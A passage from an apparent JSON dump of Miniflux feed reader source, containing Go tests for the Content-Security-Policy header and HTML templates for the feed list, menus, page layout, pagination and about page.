%q`, value, got)\n\t\t}\n\t}\n}\n\nfunc TestCSPCustomJSExternalFont(t *testing.T) {\n\twant := []string{\n\t\t`default-src 'none';`,\n\t\t`img-src * data:;`,\n\t\t`media-src *;`,\n\t\t`frame-src *;`,\n\t\t`style-src 'nonce-1234';`,\n\t\t`script-src 'nonce-1234'`,\n\t\t`'strict-dynamic';`,\n\t\t`require-trusted-types-for 'script';`,\n\t\t`trusted-types html url;`,\n\t\t`manifest-src 'self';`,\n\t}\n\tgot := csp(&model.User{ExternalFontHosts: \"test.com\", CustomJS: \"alert(1)\"}, \"1234\")\n\n\tfor _, value := range want {\n\t\tif !strings.Contains(got, value) {\n\t\t\tt.Errorf(`Unexpected result, didn't find %q in %q`, value, got)\n\t\t}\n\t}\n}\n\nfunc TestCSPExternalFontStylesheet(t *testing.T) {\n\twant := []string{\n\t\t`default-src 'none';`,\n\t\t`img-src * data:;`,\n\t\t`media-src *;`,\n\t\t`frame-src *;`,\n\t\t`style-src 'nonce-1234' test.com;`,\n\t\t`script-src 'nonce-1234'`,\n\t\t`'strict-dynamic';`,\n\t\t`require-trusted-types-for 'script';`,\n\t\t`trusted-types html url;`,\n\t\t`manifest-src 'self';`,\n\t}\n\tgot := csp(&model.User{ExternalFontHosts: \"test.com\", Stylesheet: \"a {color: red;}\"}, \"1234\")\n\n\tfor _, value := range want {\n\t\tif !strings.Contains(got, value) {\n\t\t\tt.Errorf(`Unexpected result, didn't find %q in %q`, value, got)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/template/templates/common/feed_list.html",
    "content": "{{ define \"feed_list\" }}\n    <div class=\"items\">\n        {{ range .feeds }}\n        <article\n            class=\"item feed-item {{ if ne .ParsingErrorCount 0 }}feed-parsing-error{{ else if ne .UnreadCount 0 }}feed-has-unread{{ end }}\"\n            aria-labelledby=\"feed-title-{{ .ID }} feed-entries-counter\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"feed-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/feed/%d/entries\" .ID }}\">\n                        {{ if and (.Icon) (gt .Icon.IconID 0) }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ if .Disabled }} 🚫 {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span id=\"feed-entries-counter\" class=\"feed-entries-counter\">\n                    <span aria-hidden=\"true\">(</span>\n                    <span class=\"sr-only\">{{ plural \"page.unread_entry_count\" .UnreadCount .UnreadCount }}</span>\n                    <span aria-hidden=\"true\">{{ .UnreadCount }} /</span>\n                    <span class=\"sr-only\">{{ plural \"page.total_entry_count\" .NumberOfVisibleEntries .NumberOfVisibleEntries }}</span>\n                    <span aria-hidden=\"true\">{{ .NumberOfVisibleEntries }} )</span>\n                </span>\n                <span class=\"category\">\n                    <a id=\"feed-category-{{ .ID }}\"\n                       href=\"{{ routePath \"/category/%d/entries\" .Category.ID }}\"\n                       aria-label=\"{{ t \"page.category_label\" .Category.Title }}\"\n                    >\n                        {{ .Category.Title }}\n                    </a>\n                </span>\n            </header>\n            <div class=\"item-meta\">\n                <ul class=\"item-meta-info\">\n                    <li class=\"item-meta-info-site-url\" dir=\"auto\">\n                        <a href=\"{{ .SiteURL | safeURL }}\" title=\"{{ .SiteURL }}\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }} data-original-link=\"{{ $.user.MarkReadOnView }}\">\n                            {{ domain .SiteURL }}\n                        </a>\n                    </li>\n                    <li class=\"item-meta-info-checked-at\">\n                        {{ t \"page.feeds.last_check\" }} <time datetime=\"{{ isodate .CheckedAt }}\" title=\"{{ isodate .CheckedAt }}\">{{ elapsed $.user.Timezone .CheckedAt }}</time>\n                    </li>\n                    {{ $nextCheckDuration := duration .NextCheckAt }}\n                    {{ if ne $nextCheckDuration \"\" }}\n                    <li class=\"item-meta-info-next-check-at\">\n                        {{ t \"page.feeds.next_check\" }} <time datetime=\"{{ isodate .NextCheckAt }}\" title=\"{{ isodate .NextCheckAt }}\">{{ $nextCheckDuration }}</time>\n                    </li>\n                    {{ end }}\n                </ul>\n                <ul class=\"item-meta-icons\">\n                    <li class=\"item-meta-icons-refresh\">\n                        <a href=\"{{ routePath \"/feed/%d/refresh\" .ID }}\" aria-describedby=\"feed-title-{{ .ID }}\">\n                            {{ icon \"refresh\" }}<span class=\"icon-label\">{{ t \"menu.refresh_feed\" }}</span>\n                        </a>\n                    </li>\n                    <li class=\"item-meta-icons-edit\">\n                        <a href=\"{{ routePath \"/feed/%d/edit\" .ID }}\" aria-describedby=\"feed-title-{{ .ID }}\">\n                            {{ icon \"edit\" }}<span class=\"icon-label\">{{ t \"menu.edit_feed\" }}</span>\n                        </a>\n                    </li>\n                    <li class=\"item-meta-icons-remove\">\n                        <button\n                            aria-describedby=\"feed-title-{{ .ID }}\"\n                            data-confirm=\"true\"\n                            data-label-question=\"{{ t \"confirm.question\" }}\"\n                            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                            data-label-no=\"{{ t \"confirm.no\" }}\"\n                            data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                            {{ if $.categoryID }}\n                                data-url=\"{{ routePath \"/category/%d/feed/%d/remove\" $.categoryID .ID }}\"\n                            {{ else }}\n                                data-url=\"{{ routePath \"/feed/%d/remove\" .ID }}\"\n                            {{ end }}>{{ icon \"delete\" }}<span class=\"icon-label\">{{ t \"action.remove\" }}</span></button>\n                    </li>\n                    {{ if .UnreadCount }}\n                    <li class=\"item-meta-icons-mark-as-read\">\n                        <button\n                            aria-describedby=\"feed-title-{{ .ID }}\"\n                            data-confirm=\"true\"\n                            data-label-question=\"{{ t \"confirm.question\" }}\"\n                            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                            data-label-no=\"{{ t \"confirm.no\" }}\"\n                            data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                            data-url=\"{{ routePath \"/feed/%d/mark-all-as-read\" .ID }}\">\n                                {{ icon \"read\" }}<span class=\"icon-label\">{{ t \"menu.mark_all_as_read\" }}</span>\n                        </button>\n                    </li>\n                    {{ end }}\n                </ul>\n            </div>\n            {{ if ne .ParsingErrorCount 0 }}\n            <div class=\"parsing-error\">\n                <strong title=\"{{ .ParsingErrorMsg }}\" class=\"parsing-error-count\">{{ plural \"page.feeds.error_count\" .ParsingErrorCount .ParsingErrorCount }}</strong>\n                - <small class=\"parsing-error-message\">{{ .ParsingErrorMsg }}</small>\n            </div>\n            {{ end }}\n        </article>\n        {{ end }}\n    </div>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/common/feed_menu.html",
    "content": "{{ define \"feed_menu\" }}\n<nav aria-label=\"{{ t \"page.feeds.title\" }} {{ t \"menu.title\" }}\"><ul>\n    <li>\n        <a class=\"page-link\" href=\"{{ routePath \"/feeds\" }}\">{{ icon \"feeds\" }}{{ t \"menu.feeds\" }}</a>\n    </li>\n    <li>\n        <a class=\"page-link\" href=\"{{ routePath \"/subscribe\" }}\">{{ icon \"add-feed\" }}{{ t \"menu.add_feed\" }}</a>\n    </li>\n    <li>\n        <a class=\"page-link\" href=\"{{ routePath \"/export\" }}\">{{ icon \"feed-export\" }}{{ t \"menu.export\" }}</a>\n    </li>\n    <li>\n        <a class=\"page-link\" href=\"{{ routePath \"/import\" }}\">{{ icon \"feed-import\" }}{{ t \"menu.import\" }}</a>\n    </li>\n    <li>\n        <form action=\"{{ routePath \"/feeds/refresh\" }}\" class=\"page-header-action-form\">\n            <button class=\"page-button\" data-label-loading=\"{{ t \"confirm.loading\" }}\">\n                {{ icon \"refresh\" }}{{ t \"menu.refresh_all_feeds\" }}\n            </button>\n        </form>\n    </li>\n</ul></nav>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/common/item_meta.html",
    "content": "{{ define \"item_meta\" -}}\n<div class=\"item-meta\">\n    <ul class=\"item-meta-info\">\n        <li class=\"item-meta-info-title\">\n            <a href=\"{{ routePath \"/feed/%d/entries\" .entry.Feed.ID }}\" title=\"{{ .entry.Feed.SiteURL }}\" data-feed-link=\"true\">{{ truncate .entry.Feed.Title 35 }}</a>\n        </li>\n        <li class=\"item-meta-info-timestamp\">\n            <time datetime=\"{{ isodate .entry.Date }}\" title=\"{{ isodate .entry.Date }}\">{{ elapsed .user.Timezone .entry.Date }}</time>\n        </li>\n        {{ if and .user.ShowReadingTime (gt .entry.ReadingTime 0) -}}\n        <li class=\"item-meta-info-reading-time\">\n            <span>{{ plural \"entry.estimated_reading_time\" .entry.ReadingTime .entry.ReadingTime }}</span>\n        </li>\n        {{ end -}}\n    </ul>\n    <ul class=\"item-meta-icons\">\n        <li class=\"item-meta-icons-read\">\n            <button\n                aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                title=\"{{ t \"entry.status.title\" }}\"\n                data-toggle-status=\"true\"\n                data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                data-label-read=\"{{ t \"entry.status.mark_as_read\" }}\"\n                data-label-unread=\"{{ t \"entry.status.mark_as_unread\" }}\"\n                data-value=\"{{ if eq .entry.Status \"read\" }}read{{ else }}unread{{ end }}\"\n                >{{ if eq .entry.Status \"read\" }}{{ icon \"unread\" }}{{ else }}{{ icon \"read\" }}{{ end }}<span class=\"icon-label\">{{ if eq .entry.Status \"read\" }}{{ t \"entry.status.mark_as_unread\" }}{{ else }}{{ t \"entry.status.mark_as_read\" }}{{ end }}</span></button>\n        </li>\n        <li class=\"item-meta-icons-star\">\n            <button\n                aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                data-toggle-starred=\"true\"\n                data-star-url=\"{{ routePath \"/entry/star/%d\" .entry.ID }}\"\n                data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                data-label-star=\"{{ t \"entry.starred.toggle.on\" }}\"\n                data-label-unstar=\"{{ t \"entry.starred.toggle.off\" }}\"\n                data-value=\"{{ if .entry.Starred }}star{{ else }}unstar{{ end }}\"\n                >{{ if .entry.Starred }}{{ icon \"unstar\" }}{{ else }}{{ icon \"star\" }}{{ end }}<span class=\"icon-label\">{{ if .entry.Starred }}{{ t \"entry.starred.toggle.off\" }}{{ else }}{{ t \"entry.starred.toggle.on\" }}{{ end }}</span></button>\n        </li>\n        {{ if .entry.ShareCode }}\n            <li class=\"item-meta-icons-share\">\n                <a href=\"{{ routePath \"/share/%s\" .entry.ShareCode }}\"\n                    aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                    title=\"{{ t \"entry.shared_entry.title\" }}\"\n                    {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>{{ icon \"share\" }}<span class=\"icon-label\">{{ t \"entry.shared_entry.label\" }}</span></a>\n            </li>\n            <li class=\"item-meta-icons-delete\">\n                <button\n                    aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                    data-confirm=\"true\"\n                    data-url=\"{{ routePath \"/entry/unshare/%d\" .entry.ID }}\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ icon \"delete\" }}<span class=\"icon-label\">{{ t \"entry.unshare.label\" }}</span></button>\n            </li>\n        {{ end -}}\n        {{ if .hasSaveEntry }}\n            <li>\n                <button\n                    aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                    title=\"{{ t \"entry.save.title\" }}\"\n                    data-save-entry=\"true\"\n                    data-save-url=\"{{ routePath \"/entry/save/%d\" .entry.ID }}\"\n                    data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                    data-label-done=\"{{ t \"entry.save.completed\" }}\"\n                    >{{ icon \"save\" }}<span class=\"icon-label\">{{ t \"entry.save.label\" }}</span></button>\n            </li>\n        {{ end -}}\n        <li class=\"item-meta-icons-external-url\">\n            <a href=\"{{ .entry.URL | safeURL  }}\"\n                aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}\n                data-original-link=\"{{ .user.MarkReadOnView }}\">{{ icon \"external-link\" }}<span class=\"icon-label\">{{ t \"entry.external_link.label\" }}</span></a>\n        </li>\n        {{ if .entry.CommentsURL }}\n            <li class=\"item-meta-icons-comments\">\n                <a href=\"{{ .entry.CommentsURL | safeURL  }}\"\n                    aria-describedby=\"entry-title-{{ .entry.ID }}\"\n                    title=\"{{ t \"entry.comments.title\" }}\"\n                    {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}\n                    data-comments-link=\"true\">{{ icon \"comment\" }}<span class=\"icon-label\">{{ t \"entry.comments.label\" }}</span></a>\n            </li>\n        {{ end -}}\n    </ul>\n</div>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/common/layout.html",
    "content": "{{ define \"base\" }}\n<!DOCTYPE html>\n<html lang=\"{{ replace .language \"_\" \"-\"}}\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>{{template \"title\" .}} - Miniflux</title>\n\n    <meta name=\"apple-mobile-web-app-title\" content=\"Miniflux\">\n    <meta name=\"googlebot\" content=\"notranslate\">\n    <meta name=\"mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"referrer\" content=\"no-referrer\">\n    <meta name=\"robots\" content=\"noindex,nofollow\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, viewport-fit=cover\">\n    <meta name=\"theme-color\" content=\"{{ theme_color .theme \"light\" }}\" media=\"(prefers-color-scheme: light)\">\n    <meta name=\"theme-color\" content=\"{{ theme_color .theme \"dark\" }}\" media=\"(prefers-color-scheme: dark)\">\n\n    <link rel=\"manifest\" href=\"{{ routePath \"/manifest.json\" }}\" crossorigin=\"use-credentials\">\n\n    <link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"{{ routePath \"/icon/%s\" \"icon-16.png\" }}\">\n    <link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"{{ routePath \"/icon/%s\" \"icon-32.png\" }}\">\n    <link rel=\"icon\" type=\"image/png\" sizes=\"128x128\" href=\"{{ routePath \"/icon/%s\" \"icon-128.png\" }}\">\n    <link rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"{{ routePath \"/icon/%s\" \"icon-192.png\" }}\">\n    <link rel=\"apple-touch-icon\" sizes=\"120x120\" href=\"{{ routePath \"/icon/%s\" \"icon-120.png\" }}\">\n    <link rel=\"apple-touch-icon\" sizes=\"152x152\" href=\"{{ routePath \"/icon/%s\" \"icon-152.png\" }}\">\n    <link rel=\"apple-touch-icon\" sizes=\"167x167\" href=\"{{ routePath \"/icon/%s\" \"icon-167.png\" }}\">\n    <link rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"{{ routePath \"/icon/%s\" \"icon-180.png\" }}\">\n\n    {{ $cspNonce := nonce }}\n    {{ csp .user $cspNonce | safeHTML }}\n    <link rel=\"stylesheet\" nonce=\"{{ $cspNonce }}\" type=\"text/css\" href=\"{{ routePath \"/stylesheets/%s.%s.css\" .theme .theme_checksum }}\">\n    <script nonce=\"{{ $cspNonce }}\" src=\"{{ routePath \"/%s.%s.js\" \"app\" .app_js_checksum }}\" type=\"module\"></script>\n    {{ if .user -}}\n        {{ if .user.Stylesheet -}}\n        <style nonce=\"{{ $cspNonce }}\">{{ .user.Stylesheet | safeCSS }}</style>\n        {{ end -}}\n        {{ if .user.CustomJS -}}\n        <script type=\"module\" nonce=\"{{ $cspNonce }}\">{{ .user.CustomJS | safeJS }}</script>\n        {{ end -}}\n    {{ end -}}\n</head>\n<body\n    data-service-worker-url=\"{{ routePath \"/%s.%s.js\" \"service-worker\" .sw_js_checksum }}\"\n    {{ if .csrf }}data-csrf-token=\"{{ .csrf }}\"{{ end }}\n    data-add-subscription-url=\"{{ routePath \"/subscribe\" }}\"\n    data-entries-status-url=\"{{ routePath \"/entry/status\" }}\"\n    data-refresh-all-feeds-url=\"{{ routePath \"/feeds/refresh\" }}\"\n    {{ if .webAuthnEnabled }}\n    data-webauthn-register-begin-url=\"{{ routePath \"/webauthn/register/begin\" }}\"\n    data-webauthn-register-finish-url=\"{{ routePath \"/webauthn/register/finish\" }}\"\n    data-webauthn-login-begin-url=\"{{ routePath \"/webauthn/login/begin\" }}\"\n    data-webauthn-login-finish-url=\"{{ routePath \"/webauthn/login/finish\" }}\"\n    data-webauthn-delete-all-url=\"{{ routePath \"/webauthn/deleteall\" }}\"\n    {{ end }}\n    {{ if .user }}\n        {{ if not .user.KeyboardShortcuts }}data-disable-keyboard-shortcuts=\"true\"{{ end }}\n        data-mark-as-read-on-view=\"{{ if .user.MarkReadOnView }}true{{ else }}false{{ end }}\"\n    {{ end }}>\n\n    {{ if .user }}\n    <a class=\"skip-to-content-link\" href=\"#main\">{{ t \"skip_to_content\" }}</a>\n    <header class=\"header\">\n        <nav>\n            <div class=\"logo\" data-toggle-button-label=\"{{ t \"menu.title\" }}\">\n                <a aria-label=\"{{ t \"menu.home_page\" }}\" href=\"{{ routePath (printf \"/%s\" .user.DefaultHomePage) }}\">\n                    Mini<span>flux</span>\n                </a>\n                {{ icon \"chevron-down\"}}\n            </div>\n            <ul id=\"header-menu\">\n                <li {{ if eq .menu \"unread\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g u\" }}\">\n                    <a href=\"{{ routePath \"/unread\" }}\"\n                        data-page=\"unread\"\n                        {{ if gt .countUnread 0 }}\n                        aria-label=\"{{ t \"menu.unread\" }}, {{ plural \"page.unread_entry_count\" .countUnread .countUnread }}\"\n                        {{ end }}\n                    >\n                        {{ icon \"entries\" }}{{ t \"menu.unread\" }}\n                        {{ if gt .countUnread 0 }}\n                        <span class=\"unread-counter-wrapper\" aria-hidden=\"true\">(<span class=\"unread-counter\">{{ .countUnread }}</span>)</span>\n                        {{ end }}\n                    </a>\n                </li>\n                <li {{ if eq .menu \"starred\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g b\" }}\">\n                    <a href=\"{{ routePath \"/starred\" }}\" data-page=\"starred\">{{ icon \"star\" }}{{ t \"menu.starred\" }}</a>\n                </li>\n                <li {{ if eq .menu \"history\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g h\" }}\">\n                    <a href=\"{{ routePath \"/history\" }}\" data-page=\"history\">{{ icon \"history\" }}{{ t \"menu.history\" }}</a>\n                </li>\n                <li {{ if eq .menu \"feeds\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g f\" }}\">\n                    <a href=\"{{ routePath \"/feeds\" }}\" data-page=\"feeds\">{{ icon \"feeds\" }}{{ t \"menu.feeds\" }}\n                      {{ if gt .countErrorFeeds 0 }}\n                          <span class=\"error-feeds-counter-wrapper\">(<span class=\"error-feeds-counter\">{{ .countErrorFeeds }}</span>)</span>\n                      {{ end }}\n                    </a>\n                    <a href=\"{{ routePath \"/subscribe\" }}\" title=\"{{ t \"tooltip.keyboard_shortcuts\" \"+\" }}\" aria-label=\"{{ t \"menu.add_feed\" }}\">\n                        (+)\n                    </a>\n                </li>\n                <li {{ if eq .menu \"categories\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g c\" }}\">\n                    <a href=\"{{ routePath \"/categories\" }}\" data-page=\"categories\">{{ icon \"categories\" }}{{ t \"menu.categories\" }}</a>\n                </li>\n                <li {{ if eq .menu \"search\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"/\" }}\">\n                    <a href=\"{{ routePath \"/search\" }}\" data-page=\"search\">{{ icon \"search\" }}{{ t \"menu.search\" }}</a>\n                </li>\n                <li {{ if eq .menu \"settings\" }}class=\"active\"{{ end }} title=\"{{ t \"tooltip.keyboard_shortcuts\" \"g s\" }}\">\n                    <a href=\"{{ routePath \"/settings\" }}\" data-page=\"settings\">{{ icon \"settings\" }}{{ t \"menu.settings\" }}</a>\n                </li>\n                {{ if not hasAuthProxy }}\n                    <li>\n                        <a href=\"{{ routePath \"/logout\" }}\" title=\"{{ t \"tooltip.logged_user\" .user.Username }}\">{{ icon \"logout\" }}{{ t \"menu.logout\" }}</a>\n                    </li>\n                {{ end }}\n            </ul>\n        </nav>\n    </header>\n    {{ end }}\n    {{ if .flashMessage }}\n        <div role=\"alert\" class=\"flash-message alert alert-success\">{{ .flashMessage }}</div>\n    {{ end }}\n    {{ if .flashErrorMessage }}\n        <div role=\"alert\" class=\"flash-error-message alert alert-error\">{{ .flashErrorMessage }}</div>\n    {{ end }}\n\n    {{template \"page_header\" .}}\n\n    <main id=\"main\">\n        {{template \"content\" .}}\n    </main>\n    <dialog id=\"keyboard-shortcuts-modal\" closedby=\"any\">\n        <form method=\"dialog\">\n            <button class=\"btn-close-modal\" aria-label=\"Close\" autofocus>x</button>\n        </form>\n        <h3 tabindex=\"-1\" id=\"dialog-title\">{{ t \"page.keyboard_shortcuts.title\" }}</h3>\n\n        <div class=\"keyboard-shortcuts\">\n            <p>{{ t \"page.keyboard_shortcuts.subtitle.sections\" }}</p>\n            <ul>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_unread\" }} = <strong>g + u</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_starred\" }} = <strong>g + b</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_history\" }} = <strong>g + h</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_feeds\" }} = <strong>g + f</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_categories\" }} = <strong>g + c</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_settings\" }} = <strong>g + s</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.show_keyboard_shortcuts\" }} = <strong>?</strong></li>\n                <li>{{ t \"menu.add_feed\" }} = <strong>+</strong></li>\n            </ul>\n\n            <p>{{ t \"page.keyboard_shortcuts.subtitle.items\" }}</p>\n            <ul>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_previous_item\" }} = <strong>p</strong>, <strong>k</strong>, <strong>&#x23F4;</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_next_item\" }} = <strong>n</strong>, <strong>j</strong>, <strong>&#x23F5;</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_feed\" }} = <strong>F</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_top_item\" }} = <strong>g + g</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_bottom_item\" }} = <strong>G</strong></li>\n            </ul>\n\n            <p>{{ t \"page.keyboard_shortcuts.subtitle.pages\" }}</p>\n            <ul>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_previous_page\" }} = <strong>h</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_next_page\" }} = <strong>l</strong></li>\n            </ul>\n\n            <p>{{ t \"page.keyboard_shortcuts.subtitle.actions\" }}</p>\n            <ul>\n                <li>{{ t \"page.keyboard_shortcuts.open_item\" }} = <strong>o</strong>, <strong>Enter</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.open_original\" }} = <strong>v</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.open_original_same_window\" }} = <strong>V</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.open_comments\" }} = <strong>c</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.open_comments_same_window\" }} = <strong>C</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.toggle_read_status_next\" }} = <strong>m</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.toggle_read_status_prev\" }} = <strong>M</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.mark_page_as_read\" }} = <strong>A</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.download_content\" }} = <strong>d</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.toggle_star_status\" }} = <strong>f</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.save_article\" }} = <strong>s</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.toggle_entry_attachments\" }} = <strong>a</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.scroll_item_to_top\" }} = <strong>z + t</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.refresh_all_feeds\" }} = <strong>R</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.remove_feed\" }} = <strong>#</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.go_to_search\" }} = <strong>/</strong></li>\n                <li>{{ t \"page.keyboard_shortcuts.close_modal\" }} = <strong>Esc</strong></li>\n            </ul>\n        </div>\n    </dialog>\n\n    <template id=\"icon-read\">{{ icon \"read\" }}</template>\n    <template id=\"icon-unread\">{{ icon \"unread\" }}</template>\n    <template id=\"icon-star\">{{ icon \"star\" }}</template>\n    <template id=\"icon-unstar\">{{ icon \"unstar\" }}</template>\n    <template id=\"icon-save\">{{ icon \"save\" }}</template>\n</body>\n</html>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/common/pagination.html",
    "content": "{{ define \"pagination\" }}\n<div class=\"pagination\">\n    <div class=\"pagination-backward\">\n        <div class=\"pagination-first {{ if not .ShowFirst }}disabled{{end}}\">\n            {{ if .ShowFirst }}\n                <a href=\"{{ .Route }}{{ queryString (dict \"offset\" .FirstOffset \"q\" .SearchQuery \"unread\" .UnreadOnly) }}\" data-page=\"first\">{{ t \"pagination.first\" }}</a>\n            {{ else }}\n                {{ t \"pagination.first\" }}\n            {{ end }}\n        </div>\n\n        <div class=\"pagination-prev {{ if not .ShowPrev }}disabled{{end}}\">\n            {{ if .ShowPrev }}\n                <a href=\"{{ .Route }}{{ queryString (dict \"offset\" .PrevOffset \"q\" .SearchQuery \"unread\" .UnreadOnly) }}\" data-page=\"previous\" rel=\"prev\">{{ t \"pagination.previous\" }}</a>\n            {{ else }}\n                {{ t \"pagination.previous\" }}\n            {{ end }}\n        </div>\n    </div>\n\n    <a href=\"#\" class=\"elevator\">{{ icon \"up\" }}{{ t \"page.footer.elevator\" }}</a>\n\n    <div class=\"pagination-forward\">\n        <div class=\"pagination-next {{ if not .ShowNext }}disabled{{end}}\">\n            {{ if .ShowNext }}\n                <a href=\"{{ .Route }}{{ queryString (dict \"offset\" .NextOffset \"q\" .SearchQuery \"unread\" .UnreadOnly) }}\" data-page=\"next\" rel=\"next\">{{ t \"pagination.next\" }}</a>\n            {{ else }}\n                {{ t \"pagination.next\" }}\n            {{ end }}\n        </div>\n\n        <div class=\"pagination-last {{ if not .ShowLast }}disabled{{end}}\">\n            {{ if .ShowLast }}\n                <a href=\"{{ .Route }}{{ queryString (dict \"offset\" .LastOffset \"q\" .SearchQuery \"unread\" .UnreadOnly) }}\" data-page=\"last\" >{{ t \"pagination.last\" }}</a>\n            {{ else }}\n                {{ t \"pagination.last\" }}\n            {{ end }}\n        </div>\n    </div>\n</div>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/common/settings_menu.html",
    "content": "{{ define \"settings_menu\" }}\n<nav aria-label=\"{{ t \"page.settings.title\" }} {{ t \"menu.title\" }}\">\n    <ul>\n        <li>\n            <a href=\"{{ routePath \"/settings\" }}\">{{ icon \"settings\" }}{{ t \"menu.settings\" }}</a>\n        </li>\n        <li>\n            <a href=\"{{ routePath \"/integrations\" }}\">{{ icon \"third-party-services\" }}{{ t \"menu.integrations\" }}</a>\n        </li>\n        {{ if apiEnabled }}\n        <li>\n            <a href=\"{{ routePath \"/keys\" }}\">{{ icon \"api\" }}{{ t \"menu.api_keys\" }}</a>\n        </li>\n        {{ end }}\n        <li>\n            <a href=\"{{ routePath \"/sessions\" }}\">{{ icon \"sessions\" }}{{ t \"menu.sessions\" }}</a>\n        </li>\n        {{ if .user.IsAdmin }}\n            <li>\n                <a href=\"{{ routePath \"/users\" }}\">{{ icon \"users\" }}{{ t \"menu.users\" }}</a>\n            </li>\n        {{ end }}\n        <li>\n            <a href=\"{{ routePath \"/about\" }}\">{{ icon \"about\" }}{{ t \"menu.about\" }}</a>\n        </li>\n    </ul>\n</nav>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/about.html",
    "content": "{{ define \"title\"}}{{ t \"page.about.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.about.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<div class=\"panel\">\n    <h3>Miniflux</h3>\n    <ul>\n        <li>\n            <strong>{{ t \"page.about.version\" }}</strong>\n            {{ if contains .version \"dev\" }}\n                {{ .version }}\n            {{ else }}\n                <a href=\"https://github.com/miniflux/v2/releases/tag/{{ .version }}\">{{ .version }}</a>\n            {{ end }}\n        </li>\n\t{{ if .commit }}\n        <li>\n            <strong>{{ t \"page.about.git_commit\" }}</strong>\n            {{ if startsWith .commit \"Unknown\" }}\n                {{ .commit }}\n            {{ else }}\n                <a href=\"https://github.com/miniflux/v2/commit/{{ .commit }}\">{{ .commit }}</a>\n            {{ end }}\n        </li>\n\t{{ end }}\n        <li><strong>{{ t \"page.about.build_date\" }}</strong> {{ .build_date }}</li>\n    \t<li><strong>{{t \"page.about.go_version\" }}</strong> {{ .go_version }}</li>\n    {{ if .user.IsAdmin }}\n        <li><strong>{{ t \"page.about.postgres_version\" }}</strong> {{ 